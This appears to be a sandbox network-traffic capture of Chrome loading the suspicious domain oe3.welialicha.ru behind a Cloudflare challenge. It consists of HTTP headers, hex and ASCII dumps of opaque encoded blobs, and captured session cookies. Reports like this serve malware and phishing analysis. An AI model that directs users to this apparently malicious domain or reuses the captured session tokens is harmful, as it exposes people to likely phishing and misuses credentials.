v_8fe493bb0e5e18d0=LU1K%2bKCK8KZK3Vo-Vo6KVcuTYzVtoYO9oB6oMryM-JYoucYTfyJCo6o1cVSMqojyoTf2SKtfoGKVfSVldXMSoEKddAobyo8bo1CIoNtmUYuhKd66$ou$$fo9KJ76oPzv1vQefTwIo4t8zMBS0EloYNJ9CvClyMLLt8tadzGQVZ$scMQs3qc0cN6j-LtotdQodjQL$crsoM6PPgAszjeouOolcohJlEBUAzrV0VouyK
2025-01-07 14:18:28 UTC	759	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 14:18:28 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 152844 Connection: close cf-chl-gen: SnG+0tS84mdTX7Q8sLfjqaGEUBXjUnQ0aYsYgrBRXHRO/zPahLC6dgGxBlbg/LYM3GCR9e0Cj1suT1ef/ZDCD0wo65x8Xd/y2AWBcwhjx+mJQf02DNSWDVhGPKDgtb8VAFu4w64Bff6CUDUR7ZTTK7aR+FYaZ6MYJdmP0krJZov5p3hKiYVUmENBoBDdAY7Z7qV1gCTbi01ZRcPxjBXLa3ACZajxSXSRtWQO+R6PiTk2jqc12VSVMWzOJqIgOlnrxXAMmPxknWi4OhCeWkIJIjVSR9sRl3HViJCdXWFPfXGapOZ7/VmvD5oI7Yu1UwZ1AOhsU5YZlavqB5SdqLGVPV9zr6jvm15WZ8Cx32rnAQlytO/Fr9KmzonyfSFqSQEf54QVOcb1cWAyvTaZAf3Om4bIAATrhMnYWQIK+ou2LwUMfncBE7ATqy5aM2ufP8IpZr6eB8a3Wk7UyPBdr913Isaevz+p5iG7TdKghTONMDi5Kwo9zQ6LLc4SLA==$f9/FyCZTYk05NZCG Server: cloudflare CF-RAY: 8fe493c60ed81a17-EWR alt-svc: h3=":443"; ma=86400
2025-01-07 14:18:28 UTC	610	IN	Data Raw: 53 6f 79 44 59 57 69 4e 68 6b 6c 54 67 32 46 4e 67 46 64 4c 5a 70 61 57 6e 6e 57 66 69 6c 35 62 6a 32 78 78 6b 31 36 6f 6d 35 70 38 68 36 36 69 62 48 75 71 6e 34 43 4c 69 4a 4a 74 74 6f 57 4e 6a 4a 61 72 66 48 6d 2f 6b 59 70 37 6d 72 71 78 6d 5a 50 4b 74 35 69 6a 75 71 6d 4b 68 6f 2b 4e 70 4b 37 44 6a 35 48 58 6a 38 32 57 6e 4a 76 56 6d 64 7a 57 33 4a 2f 50 30 39 79 38 71 4b 6a 5a 74 75 66 41 7a 62 72 72 78 4e 32 75 7a 4c 50 69 73 2b 54 72 38 4e 48 52 76 4e 71 2f 73 74 69 39 75 51 4c 6c 41 74 6e 54 2f 76 66 59 39 2b 44 36 79 63 4c 6b 2f 73 34 41 42 52 4d 49 44 38 76 77 37 75 67 54 32 64 2f 71 32 51 54 32 48 66 41 63 39 51 6e 79 4a 79 6e 6e 39 2b 63 75 47 75 34 30 4c 77 6b 45 4c 6a 55 69 4f 77 55 73 45 42 63 36 44 67 2f 2b 4d 51 42 46 4e 6b 67 69 4a 54 5a Data Ascii: SoyDYWiNhklTg2FNgFdLZpaWnnWfil5bj2xxk16om5p8h66ibHuqn4CLiJJttoWNjJarfHm/kYp7mrqxmZPKt5ijuqmKho+NpK7Dj5HXj82WnJvVmdzW3J/P09y8qKjZtufAzbrrxN2uzLPis+Tr8NHRvNq/sti9uQLlAtnT/vfY9+D6ycLk/s4ABRMID8vw7ugT2d/q2QT2HfAc9QnyJynn9+cuGu40LwkELjUiOwUsEBc6Dg/+MQBFNkgiJTZ
2025-01-07 14:18:28 UTC	1369	IN	Data Raw: 41 2f 4b 55 5a 48 56 46 59 56 4c 79 39 65 57 6b 49 61 49 47 55 36 51 47 4d 33 50 46 70 41 4a 32 34 36 53 69 74 64 54 6d 55 30 63 54 56 5a 4d 6c 46 57 63 30 39 4c 54 46 74 30 63 58 4e 55 65 48 31 78 59 33 31 59 68 34 4f 43 54 6e 6c 76 6a 59 4a 68 6c 59 32 57 54 6d 68 77 57 6b 32 64 6c 6c 74 2b 6f 57 2b 59 59 31 61 53 57 48 70 6e 67 71 53 6a 71 33 6d 61 67 6e 71 73 65 72 43 67 64 4c 61 54 75 48 4b 73 6d 4b 65 62 75 35 71 53 75 33 75 7a 6a 4c 64 38 6c 37 69 4a 78 73 75 6d 6c 63 7a 41 71 63 58 52 68 64 53 6c 6a 37 4b 6d 32 4a 4c 5a 75 4e 6d 6d 6d 73 32 59 30 62 66 62 74 4e 58 41 73 74 32 6c 79 37 54 4b 74 2b 53 69 72 4f 69 2f 79 75 76 6e 2b 4d 37 76 36 37 58 53 38 2b 2f 34 31 76 66 7a 39 4e 72 37 39 2f 7a 65 41 50 76 30 34 67 51 41 2f 4f 59 49 42 4f 37 71 44 Data Ascii: A/KUZHVFYVLy9eWkIaIGU6QGM3PFpAJ246SitdTmU0cTVZMlFWc09LTFt0cXNUeH1xY31Yh4OCTnlvjYJhlY2WTmhwWk2dllt+oW+YY1aSWHpngqSjq3magnqserCgdLaTuHKsmKebu5qSu3uzjLd8l7iJxsumlczAqcXRhdSlj7Km2JLZuNmmms2Y0bfbtNXAst2ly7TKt+SirOi/yuvn+M7v67XS8+/41vfz9Nr79/zeAPv04gQA/OYIBO7qD
2025-01-07 14:18:28 UTC	1369	IN	Data Raw: 71 53 78 35 68 48 68 68 51 48 79 4a 43 57 46 67 37 53 6a 30 33 4a 55 73 33 54 47 30 73 57 7a 34 74 61 6a 4a 6f 64 44 45 34 62 46 4a 53 50 48 42 56 66 45 42 30 57 55 56 45 65 47 56 56 59 56 52 6d 68 56 2b 51 68 32 35 72 59 6e 61 51 5a 35 56 52 5a 31 68 37 6e 4a 4f 48 55 70 71 56 69 35 65 6d 6f 59 65 61 68 4b 57 4c 6e 49 69 70 6a 36 65 4d 72 5a 4f 71 6b 4c 47 58 72 5a 53 31 6d 37 43 59 75 5a 2b 36 6c 63 4f 2b 65 70 6a 45 68 4d 53 44 69 59 47 4a 77 6f 33 51 77 4d 61 52 79 36 69 6a 79 38 2b 67 78 4b 6d 34 71 74 33 57 6e 72 6e 58 74 37 2b 61 70 4f 66 56 78 73 4c 5a 6f 72 66 70 36 75 54 6d 34 37 4c 49 30 4d 2f 69 37 73 37 51 36 2f 62 46 33 73 76 48 33 62 63 45 2b 50 72 41 75 4e 54 46 78 75 6a 6c 35 2b 48 67 78 38 59 50 38 75 6a 50 42 64 44 54 31 51 62 6e 31 78 Data Ascii: qSx5hHhhQHyJCWFg7Sj03JUs3TG0sWz4tajJodDE4bFJSPHBVfEB0WUVEeGVVYVRmhV+Qh25rYnaQZ5VRZ1h7nJOHUpqVi5emoYeahKWLnIipj6eMrZOqkLGXrZS1m7CYuZ+6lcO+epjEhMSDiYGJwo3QwMaRy6ijy8+gxKm4qt3WnrnXt7+apOfVxsLZorfp6uTm47LI0M/i7s7Q6/bF3svH3bcE+PrAuNTFxujl5+Hgx8YP8ujPBdDT1Qbn1x
2025-01-07 14:18:28 UTC	1369	IN	Data Raw: 47 32 5a 65 4e 32 68 71 59 6a 74 74 62 6d 5a 41 53 45 55 74 50 45 4a 6e 5a 30 6c 6e 55 6b 4a 63 63 48 74 75 4d 56 68 55 66 6e 41 39 57 6f 4e 46 68 47 61 43 61 6d 4a 46 66 6d 68 6d 53 59 4a 6b 61 6b 32 47 69 31 46 6a 6c 6c 6c 31 57 48 52 62 64 59 31 31 6e 4a 52 69 65 58 43 43 63 61 69 63 68 59 6c 34 5a 57 61 47 69 58 46 72 61 33 61 6b 71 35 4b 6d 64 58 65 35 76 48 65 66 69 70 57 4d 67 5a 44 44 68 59 69 79 67 4d 71 58 75 59 6d 35 6e 4b 72 45 73 49 36 53 6f 63 57 76 72 4c 66 4c 78 4c 32 73 7a 64 2b 59 30 4c 4f 30 33 35 36 76 35 35 2f 72 78 71 69 66 32 61 58 62 76 4d 37 4b 37 36 66 4a 37 63 76 57 2b 4e 58 36 2b 72 58 35 75 74 53 2f 33 67 62 54 2f 4d 4f 36 39 75 54 45 36 41 44 58 37 63 37 38 43 65 62 7a 2f 67 66 70 7a 2f 51 54 36 78 30 66 46 2b 38 69 39 64 33 Data Ascii: G2ZeN2hqYjttbmZASEUtPEJnZ0lnUkJccHtuMVhUfnA9WoNFhGaCamJFfmhmSYJkak2Gi1Fjlll1WHRbdY11nJRieXCCcaichYl4ZWaGiXFra3akq5KmdXe5vHefipWMgZDDhYiygMqXuYm5nKrEsI6SocWvrLfLxL2szd+Y0LO0356v55/rxqif2aXbvM7K76fJ7cvW+NX6+rX5utS/3gbT/MO69uTE6ADX7c78Cebz/gfpz/QT6x0fF+8i9d3
2025-01-07 14:18:28 UTC	1369	IN	Data Raw: 53 46 73 48 7a 31 6f 59 53 35 61 4d 6e 4a 76 56 53 31 47 61 47 39 71 66 57 6c 7a 66 31 46 65 64 33 4e 56 59 31 55 35 57 58 64 45 69 6b 64 37 69 34 68 2b 53 6f 70 4a 68 56 39 75 67 32 52 79 6a 57 5a 70 63 33 57 63 6c 31 32 67 59 31 2b 51 6e 5a 39 2b 6c 70 2b 5a 65 70 71 43 68 59 47 67 73 49 79 43 6b 5a 42 70 6d 4b 6d 79 68 36 35 34 6e 59 6d 38 72 6f 47 52 6b 62 47 57 6e 49 4b 32 77 4b 47 55 75 4a 32 50 30 4c 32 70 7a 4d 4b 53 71 5a 2f 57 30 73 2b 52 70 4d 6a 54 7a 37 47 2f 73 5a 57 31 30 36 44 6d 6f 39 66 6e 35 4e 75 71 31 37 66 6b 77 50 4b 75 36 74 2f 74 39 75 6a 33 78 74 50 46 37 38 69 39 74 74 6e 61 34 72 2f 4e 76 50 53 36 30 51 6e 57 77 38 50 45 34 73 76 39 44 2b 49 4d 45 4f 48 68 39 51 66 5a 42 4f 6f 4b 37 66 54 64 44 2f 49 58 41 78 4c 32 47 77 6b 58 Data Ascii: SFsHz1oYS5aMnJvVS1GaG9qfWlzf1Fed3NVY1U5WXdEikd7i4h+SopJhV9ug2RyjWZpc3Wcl12gY1+QnZ9+lp+ZepqChYGgsIyCkZBpmKmyh654nYm8roGRkbGWnIK2wKGUuJ2P0L2pzMKSqZ/W0s+RpMjTz7G/sZW106Dmo9fn5Nuq17fkwPKu6t/t9uj3xtPF78i9ttna4r/NvPS60QnWw8PE4sv9D+IMEOHh9QfZBOoK7fTdD/IXAxL2GwkX
2025-01-07 14:18:28 UTC	1369	IN	Data Raw: 6c 53 63 30 46 68 54 58 42 70 4e 46 74 4c 53 54 5a 66 66 44 4a 2f 64 6b 4e 77 59 6c 46 66 67 6e 4e 63 52 30 4b 49 62 6c 68 4c 66 47 4a 6c 5a 49 4e 51 69 47 69 55 5a 30 32 4a 65 32 74 66 6c 34 46 62 6f 33 57 4f 64 49 53 49 59 70 36 45 6d 33 6d 6b 6a 70 47 6c 5a 4c 42 2b 6e 6d 35 7a 6c 4c 69 55 75 72 71 77 6a 58 46 32 72 5a 46 31 6c 62 4f 42 78 72 2b 36 6d 71 69 48 66 38 71 6d 76 38 50 41 73 72 58 4a 31 4b 61 69 77 70 4b 58 75 4d 6e 65 33 74 37 55 73 5a 57 61 30 62 57 5a 75 64 65 6c 36 75 50 65 76 73 79 72 6f 2b 37 4b 34 2b 66 6b 31 74 6e 74 2b 4d 62 47 35 72 61 37 32 39 6b 44 42 66 37 35 38 2f 69 2f 32 4d 72 31 42 4d 72 62 33 76 33 65 78 41 55 52 44 4d 67 43 44 67 6a 6e 39 64 49 4a 33 42 48 32 38 64 73 51 46 75 33 31 39 64 34 56 2b 2f 30 4c 4a 41 4c 70 2f Data Ascii: lSc0FhTXBpNFtLSTZffDJ/dkNwYlFfgnNcR0KIblhLfGJlZINQiGiUZ02Je2tfl4Fbo3WOdISIYp6Em3mkjpGlZLB+nm5zlLiUurqwjXF2rZF1lbOBxr+6mqiHf8qmv8PAsrXJ1KaiwpKXuMne3t7UsZWa0bWZudel6uPevsyro+7K4+fk1tnt+MbG5ra729kDBf758/i/2Mr1BMrb3v3exAURDMgCDgjn9dIJ3BH28dsQFu319d4V+/0LJALp/
2025-01-07 14:18:28 UTC	1369	IN	Data Raw: 47 5a 31 52 4b 66 47 31 65 53 32 35 41 65 46 46 4e 58 59 4e 5a 55 33 64 6d 64 57 55 2f 66 31 70 6e 61 56 79 48 5a 4a 42 6a 53 58 65 42 67 6f 70 73 56 35 32 4d 6b 56 2b 61 65 70 6c 34 6e 48 43 45 70 6d 53 66 61 4b 75 59 70 49 61 42 61 35 2b 7a 66 59 4f 52 62 71 52 34 76 4a 4b 4e 64 36 75 77 69 59 2b 64 65 72 43 45 65 5a 6a 49 67 6e 32 6d 72 49 61 6f 76 71 2b 6e 79 73 75 31 73 4d 72 4d 6f 5a 6e 48 70 71 32 7a 74 35 61 54 72 61 4b 6b 77 4e 61 38 33 65 44 43 74 4d 6a 71 71 4f 44 42 37 2b 79 75 35 64 61 7a 7a 38 44 57 7a 62 75 33 39 37 33 53 31 74 47 37 37 2f 6e 4e 31 64 57 2b 39 4e 76 64 36 67 54 68 79 64 34 41 46 41 30 45 7a 74 50 4e 44 65 45 46 42 4f 77 4d 37 51 6a 70 39 66 6a 38 2b 75 49 56 46 43 63 6f 48 66 6a 39 47 2f 66 33 4c 76 77 63 4b 54 41 41 39 53 Data Ascii: GZ1RKfG1eS25AeFFNXYNZU3dmdWU/f1pnaVyHZJBjSXeBgopsV52MkV+aepl4nHCEpmSfaKuYpIaBa5+zfYORbqR4vJKNd6uwiY+derCEeZjIgn2mrIaovq+nysu1sMrMoZnHpq2zt5aTraKkwNa83eDCtMjqqODB7+yu5dazz8DWzbu3973S1tG77/nN1dW+9Nvd6gThyd4AFA0EztPNDeEFBOwM7Qjp9fj8+uIVFCcoHfj9G/f3LvwcKTAA9S
2025-01-07 14:18:28 UTC	1369	IN	Data Raw: 54 54 5a 72 51 56 5a 4e 67 6c 6c 5a 51 33 6c 64 5a 49 64 62 59 48 31 49 54 33 4e 4f 58 6f 31 75 5a 6b 35 31 6d 59 6c 39 56 47 68 56 56 6e 57 67 63 33 46 74 6b 36 56 35 67 33 32 49 6d 61 42 72 65 58 71 6c 73 48 74 39 6b 6e 2b 73 6b 49 61 53 64 48 69 70 75 70 61 32 73 38 4f 4e 6f 62 61 68 75 49 57 46 6f 4c 75 6e 6f 5a 2b 74 70 61 61 49 7a 4d 53 53 70 36 76 57 7a 4c 6d 4e 6c 74 72 4e 74 5a 4b 30 33 4b 75 65 33 70 32 39 77 75 53 33 35 4d 50 63 71 61 33 68 70 2b 58 44 77 2b 43 7a 74 38 50 72 75 4e 54 6b 2f 72 6e 72 32 4c 79 34 76 77 54 4f 77 50 50 6b 34 63 62 6c 77 2b 33 34 77 64 38 45 36 4f 72 47 41 4f 37 77 30 67 33 6d 38 66 59 5a 36 39 58 33 45 42 73 5a 38 43 49 52 46 2f 6f 67 42 51 63 73 42 52 67 63 49 79 48 74 48 53 38 6a 38 2f 63 73 4d 54 4d 73 48 6a 6f Data Ascii: TTZrQVZNgllZQ3ldZIdbYH1IT3NOXo1uZk51mYl9VGhVVnWgc3Ftk6V5g32ImaBreXqlsHt9kn+skIaSdHipupa2s8ONobahuIWFoLunoZ+tpaaIzMSSp6vWzLmNltrNtZK03Kue3p29wuS35MPcqa3hp+XDw+Czt8PruNTk/rnr2Ly4vwTOwPPk4cblw+34wd8E6OrGAO7w0g3m8fYZ69X3EBsZ8CIRF/ogBQcsBRgcIyHtHS8j8/csMTMsHjo
2025-01-07 14:18:28 UTC	1369	IN	Data Raw: 57 64 63 63 32 64 61 67 33 6c 75 53 6e 64 77 69 58 79 48 66 6f 74 6e 68 35 47 4f 6b 55 31 38 6d 70 57 4c 66 35 65 5a 6b 35 75 6a 6e 70 6c 78 58 33 65 4a 65 70 74 36 6d 59 43 6e 68 34 74 71 64 59 4b 6c 71 6f 79 57 70 61 65 48 6c 72 43 58 6a 33 32 56 75 34 32 7a 68 36 57 34 77 4a 53 62 6c 36 43 61 72 4c 32 51 75 35 36 4f 74 4a 4c 49 31 4d 79 59 7a 4c 4b 64 6e 4e 43 32 74 71 44 55 75 65 43 6b 32 4c 32 70 71 4e 7a 4a 75 63 57 34 79 75 6e 44 39 4f 76 53 7a 38 62 61 39 4d 76 35 30 62 66 33 38 66 76 77 35 4e 72 55 39 66 44 37 31 41 62 72 2f 75 67 4b 37 77 48 73 44 76 4d 4d 45 52 4d 52 46 74 58 4d 35 76 6a 34 2f 52 4c 77 32 41 44 56 2f 67 54 30 45 77 55 4b 45 78 73 45 49 69 38 66 42 2b 73 79 42 79 7a 76 49 6a 6b 70 47 43 38 4c 4c 78 48 35 4e 2f 30 53 48 52 62 37 Data Ascii: Wdcc2dag3luSndwiXyHfotnh5GOkU18mpWLf5eZk5ujnplxX3eJept6mYCnh4tqdYKlqoyWpaeHlrCXj32Vu42zh6W4wJSbl6CarL2Qu56OtJLI1MyYzLKdnNC2tqDUueCk2L2pqNzJucW4yunD9OvSz8ba9Mv50bf38fvw5NrU9fD71Abr/ugK7wHsDvMMERMRFtXM5vj4/RLw2ADV/gT0EwUKExsEIi8fB+syByzvIjkpGC8LLxH5N/0SHRb7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49739	188.114.96.3	443	4992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:18:28 UTC	1322	OUT	GET /favicon.ico HTTP/1.1 Host: oe3.welialicha.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://oe3.welialicha.ru/xffUffYo/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlVJdnI4Z3NPRi9QRm5UM2hKcDdzSFE9PSIsInZhbHVlIjoiZXhydWMxbEhKK3lGYUVsK1c4K0xRa1ZVZ2g5eTZxVURLVjMrRzVxQ080cjkxMU5sS1daSE9SbDJxczhoV3FFUk9wdHFXRWZDd1VzNDIxbUhiZ2VRRzNwMTk2UDZOY2xtODEzN3lreFBIV3FmTHN0b3BOSmcwNVQwdTgrUGhEengiLCJtYWMiOiIzMTljOWI0OWMyNjU4YjIxZGFlZWE3NmUyOTcyYmNiODc1YTUzMjYzNmMzYzY1YmE3Mjk4OTQ3MDJhNjc1MjcwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijg5bWtwVURqeVRjYkMzSWhCYnJ6K3c9PSIsInZhbHVlIjoicndRcG4wdzJBY251UXhmSUlYZUFZNzY5MGtaVHZ6dzJyZ005eW0ydjJabjFPRVpycllzcDZ4QUxjbnVFRTJ5TGRpWm54WFU2VmVQblRYVHlFaDNCMDFiRDlGNkVmQjBLaVBDZ2VTL3FvdW1TeWR4WG5OS0VTL2RyblV4S1VLMloiLCJtYWMiOiJkYjk1MjNmYzRhODkyZGVmMzEyNWI5ZWVlODE3ODEyMzQyYmM2NjgwNGZlZjljZjBkNmZlYWJiYzA2MmZiZDBkIiwidGFnIjoiIn0%3D
2025-01-07 14:18:28 UTC	1058	IN	HTTP/1.1 404 Not Found Date: Tue, 07 Jan 2025 14:18:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CppP7JXDMgktfYRDU8S40I4yGObnrUo3TOpL1bOWiZocjC8xSdYlnQa9gH4zXpOciu0v7EZYqqREhCdJdltuxogCgdR7vVHverEFra8WB%2F%2B5qGfQEsDcvKNLmPDueg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4890&min_rtt=4875&rtt_var=1400&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2236&delivery_rate=573038&cwnd=214&unsent_bytes=0&cid=845885d95d5741f6&ts=184&x=0" CF-Cache-Status: EXPIRED Server: cloudflare CF-RAY: 8fe493c89e428ca5-EWR server-timing: cfL4;desc="?proto=TCP&rtt=2061&min_rtt=2059&rtt_var=776&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1900&delivery_rate=1406551&cwnd=237&unsent_bytes=0&cid=18b265bf0ac436c7&ts=535&x=0"
2025-01-07 14:18:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49740	104.18.95.41	443	4992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:18:29 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1244244765:1736256396:4eQx91ZCZiIBwjt3oqc8_CcgZavgzQBPmS8A9uDbAjg/8fe493bb0e5e18d0/swLD91lO_NF.I1vvUgxO.vhR6JEIwznNt2p0TfwB1YA-1736259506-1.1.1.1-z7LmhnT3AGM9H1gTgZrE4gK65BtHK5Avr10DWjVXaIALFxbVwaAKWVk03J5Ducz2 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 14:18:29 UTC	379	IN	HTTP/1.1 404 Not Found Date: Tue, 07 Jan 2025 14:18:29 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: So4tBR6wK0RV/H4CdEQ6TBWuCmGLS7AMe9Q=$jf2RNF76WF94pQqG Server: cloudflare CF-RAY: 8fe493cbfaaf43e7-EWR alt-svc: h3=":443"; ma=86400
2025-01-07 14:18:29 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49741	35.190.80.1	443	4992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:18:29 UTC	534	OUT	OPTIONS /report/v4?s=CppP7JXDMgktfYRDU8S40I4yGObnrUo3TOpL1bOWiZocjC8xSdYlnQa9gH4zXpOciu0v7EZYqqREhCdJdltuxogCgdR7vVHverEFra8WB%2F%2B5qGfQEsDcvKNLmPDueg%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://oe3.welialicha.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 14:18:29 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Tue, 07 Jan 2025 14:18:29 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49742	104.18.94.41	443	4992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:18:29 UTC	782	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8fe493bb0e5e18d0/1736259508183/SdYw6k5f8d6TCYd HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/nrnel/0x4AAAAAAA3SAmBnOucP6bMN/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 14:18:29 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 14:18:29 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8fe493cf5abcc356-EWR alt-svc: h3=":443"; ma=86400
2025-01-07 14:18:29 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1a 00 00 00 15 08 02 00 00 00 d7 7e 69 4c 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR~iLIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49743	35.190.80.1	443	4992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:18:30 UTC	474	OUT	POST /report/v4?s=CppP7JXDMgktfYRDU8S40I4yGObnrUo3TOpL1bOWiZocjC8xSdYlnQa9gH4zXpOciu0v7EZYqqREhCdJdltuxogCgdR7vVHverEFra8WB%2F%2B5qGfQEsDcvKNLmPDueg%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 433 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 14:18:30 UTC	433	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 34 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 35 30 34 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6f 65 33 2e 77 65 6c 69 61 6c 69 63 68 61 2e 72 75 2f 78 66 66 55 66 66 59 6f 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 38 38 2e 31 31 34 2e 39 36 2e 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 Data Ascii: [{"age":4,"body":{"elapsed_time":1504,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://oe3.welialicha.ru/xffUffYo/","sampling_fraction":1.0,"server_ip":"188.114.96.3","status_code":404,"type":"http.error"},"type":"network-err
2025-01-07 14:18:30 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Tue, 07 Jan 2025 14:18:29 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49744	104.18.95.41	443	4992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:18:30 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8fe493bb0e5e18d0/1736259508183/SdYw6k5f8d6TCYd HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 14:18:30 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 14:18:30 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8fe493d33b16422f-EWR alt-svc: h3=":443"; ma=86400
2025-01-07 14:18:30 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1a 00 00 00 15 08 02 00 00 00 d7 7e 69 4c 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR~iLIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
